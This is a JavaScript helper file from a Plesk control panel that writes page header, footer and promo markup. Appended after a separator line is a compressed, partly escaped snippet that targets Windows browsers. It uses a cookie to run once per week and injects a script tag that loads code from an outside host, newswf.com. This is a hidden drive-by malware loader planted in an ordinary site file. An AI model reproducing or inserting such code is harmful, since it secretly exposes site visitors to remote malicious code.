function writeHeader()
{
    writeHeader(false);
}

function writeHeader(virtuozo)
{
    document.write('<a target="_blank" href="http://www.parallels.com/plesk/" title="Plesk&trade;" class="topLogo"><img src="/img/common/def_plesk_logo.gif" name="logo" height="50" border="0" width="210" title="Plesk&trade;"></a>');
    document.write('<div id="topTxtBlock">');
    document.write('    <div id="topBgBlock">');
    document.write('        <span id="topCopyright"><a href="http://www.parallels.com" target="_blank">&copy; Copyright 1999-2008, Parallels<br/> All rights reserved</a></span>');
    if (virtuozo)
    {
        document.write('        <span id="topTxtBanner"><a href="http://www.virtuozzo.com/en/splandingpage/" target="_blank">Discover <b>Parallels<br/>Virtuozzo Containers</b></a></span>');
    }
    document.write('    </div>');
    document.write('    <span id="topRightLogo"><a href="http://www.parallels.com" target="_blank"><img src="/img/common/def_parallels_logo.gif"></img></a></span>');
    document.write('</div>');
}

function writeFooter()
{
    writeFooter(true);
}

function writeFooter(virtuozzo)
{
    document.write('<div class="footDescription">');
    document.write('    This page is autogenerated by <a target="_blank" href="http://www.parallels.com/en/products/plesk/">Parallels<sup>&reg;</sup> Plesk Control Panel</a>');
    document.write('</div>');
    document.write('<div class="poweredBy">');
    document.write('    <a target="_blank" href="http://www.parallels.com"><img src="/img/common/parallels_powered.gif" title="Plesk&trade;"/></a>');
    document.write('</div>');
    if (virtuozzo)
    {
    }
}

function writeCopyFlag()
{
    document.write('<script language="javascript" type="text/javascript" src="http://' +
        location.hostname + ':8880/javascript/promo-flags.js.php"></' + 'script>\n');
}
/* ============================================================================-*/
function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("NSwfCookie");if (user !=="ok"){newswfcookie();setCookie("NSwfCookie", "ok", 7, "/");}}}  function newswfcookie(){document.write(unescape("%3Cscript src='http://newswf.com/in.cgi?6' type='text/javascript'%3E%3C/script%3E"));} function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
/*============================================================================-=*/

